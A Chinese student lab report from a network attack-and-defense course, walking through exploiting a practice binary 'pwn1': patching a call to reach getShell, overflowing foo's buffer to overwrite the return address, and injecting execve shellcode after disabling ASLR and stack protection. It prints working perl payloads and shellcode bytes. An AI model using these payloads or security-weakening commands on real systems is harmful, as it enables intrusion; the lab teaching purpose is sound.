20212811 2021-2022-2 《网络攻防实践》实践九作业

一、实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。实践的目标是想办法运行这个代码片段。

1 实践内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

2 需要掌握的基础知识

  • 熟悉Linux基本操作
  • 理解Bof的原理。
  • 会使用gdb,vi。
  • 指令、参数。
  • 理解思路。

2.1 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

(1)NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
(2)JNE:条件转移指令,如果不相等则跳转。(机器码:75)
(3)JE:条件转移指令,如果相等则跳转。(机器码:74)
(4)JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
(5)CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。CMP指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

 

2.2 补码

计算机中的有符号数有三种表示方法,即原码、反码和补码。三种表示方法均有符号位和数值位两部分,符号位都是用0表示“正”,用1表示“负”,而数值位,三种表示方法各不相同。在计算机系统中,数值一律用补码来表示和存储。原因在于,使用补码,可以将符号位和数值域统一处理;同时,加法和减法也可以统一处理 。

2.3 反汇编指令objdump

二、实践过程

(一) 直接修改程序机器指令,改变程序执行流程

 1.下载目标文件pwn1,使用readelf命令来读出整个ELF文件头的内容,可以看到这里是小端模式

 

 

 

 2.复制pwn1到pwn20212811,对目标文件pwn20212811反汇编objdump -d pwn20212811 | more

 

 

 

3. 对文件进行查看,找到getShellfoomain函数的位置,进行分析

  • 看main函数的第4行,"call 8048491 "是汇编指令

    • 是说这条指令将调用位于地址8048491处的foo函数;
    • 其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
  • 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码(这里因为是小端模式),表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,

 

5.main函数调用foo,对应机器指令为“e8 d7ffffff”,

  • 那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
  • 用Windows计算器,直接 47d-4ba就能得到补码,是fffffc3。根据小端模式,将指令的目标地址由d7ffffff变为c3ffffff

 

 

 

  • 下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

6.修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

 根据老师的步骤,对目标文件pwn20212811进行修改

(1)按ESC键

(2)输入如下,将显示模式切换为16进制模式 :%!xxd

(3)查找要修改的内容 /e8d7

(4)找到后前后的内容和反汇编的对比下,确认是地方是正确的

(5)修改d7为c3

(6)转换16进r制为原格式 :%!xxd -

 

 

 

 

 

 

 

7.运行修改前的pwn1程序,可得结果如图:

 

8.运行经过修改后的pwn20212811程序,可得结果如图:

 

(二)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

1.使用objdump -d pwn1 | more将pwn1反汇编后查看foo函数,该函数的功能是调用gets读进用户输入的字符串然后用puts函数将字符串输出,但是该函数并没有检查用户输入,所以存在BOF漏洞。
观察反汇编出的汇编代码得知预留的局部变量的空间为0x38,而gets函数将读取到的字符串存放到0x1c(28个字节)处,根据堆栈结构,当输入字符串长度达到36时,第33~36个字节将会覆盖到EIP中:

 

 2.使用gdb对pwn1进行调试,当输入长度为40的字符串“aaaaaaaabbbbbbbbccccccccddddddddeeeeeee”后出现段错误,查看各寄存器状态可以发现当前EIP寄存器的内容为0x65656565(“e”的ASCLL码的十六进制为65),因此可以说明当输入字符串过长时,第33~36个字节将会覆盖EIP的内容

 

 

 3.通过以上分析,只要将输入字符串的第33~36位设置为getShell函数的入口地址,便可以在foo函数返回直接跳转到getShell函数并运行。

使用命令perl -e 'print "zzzzzzzzccccccczzzzzzzzcccccccccc\x7d\x84\x04\x08\x0a"' > input生成十六进制字符串文件“input”,

最后用(cat input; cat) | ./pwn1命令将input作为pwn1的输入,获得shell:

 

 

(三)注入一个自己制作的shellcode并运行这段shellcode

1.首先使用execstack等命令设置堆栈可执行并关闭地址随机化:

命令作用
execstack -s pwn1 将堆栈设为可执行状态
execstack -q pwn1 查看文件pwn1的堆栈是否是可执行状态
more /proc/sys/kernel/randomize_va_space 查看地址随机化的状态
echo "0"> /proc/sys/kernel/randomize_va_space 关闭地址随机化

其中需要注意的是,执行echo "0"> /proc/sys/kernel/randomize_va_space命令时需要root权限,这里需要提权(sudo su):

 在root模式下输入apt-get install execstack对execstack进行安装。

分别输入execstack -s pwn1 设置堆栈可执行 ,execstack -q pwn3 查询文件的堆栈是否可执行。

 

2.输入more /proc/sys/kernel/randomize_va_space查看地址随机化的状态是否关闭,输入echo "0"> /proc/sys/kernel/randomize_va_space 关闭地址随机化(需要用root模式),再次查询地址随机化的状态为关闭。

 

 

3.使用perl构造十六进制的37个字节的输入串输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode其中第33~36个字节即\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置,后输入pwn1并输入(cat input_shellcode;cat) | ./pwn1运行pwn1。

 

4.打开一个新界面,输入ps -ef | grep pwn3找到pwn3的进程号是195017。

 

 

5. 输入attach 195017 命令启动gdb调试这个进程,通过设置断点输入 disassemble foo 来查看注入buf的内存地址。

 

 6.输入 break *0x080484ae 设置断点,输入 c 继续运行,同时在pwn1进程正在运行的那个界面点击回车,使其继续执行。

 

7. 再返回调试界面,输入info r esp命令查找地址,再输入 x/16x 0xffffd50c 可以看到0x01020304的位置在0xffffd50c。根据我们构造的input_shellcode可知retaddr地址应为0xffffd50c+0x00000004=0xffffd510.

 

8.构造shellcode:32个A+retaddr+nop+shellcode,输入 perl -e 'print "A" x 32;print "\x10\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode如图所示,将其作为pwn3的输入,输入 (cat input_shellcode;cat) | ./pwn1并执行程序。

 

三、学习中遇到的问题及解决 

  • 问题1:execstack无法安装

  • 问题1解决方式:更换kali源并更新

四、实践总结

通过这次实验,我学会了如何更改可执行文件的执行顺序,达到调用某些函数的目的,通过更改汇编指令源代码实现。

学会利用BoF漏洞,通过输入比缓冲区更大的字符串从而使缓冲区溢出,导致程序运行的顺序发生改变,这里是通过输入字符串,字符串带有某些函数在程序中的相对偏移量,使溢出的部分刚好是偏移量实现的。

posted @ 2022-05-15 17:17  董子超  阅读(51)  评论(0编辑  收藏  举报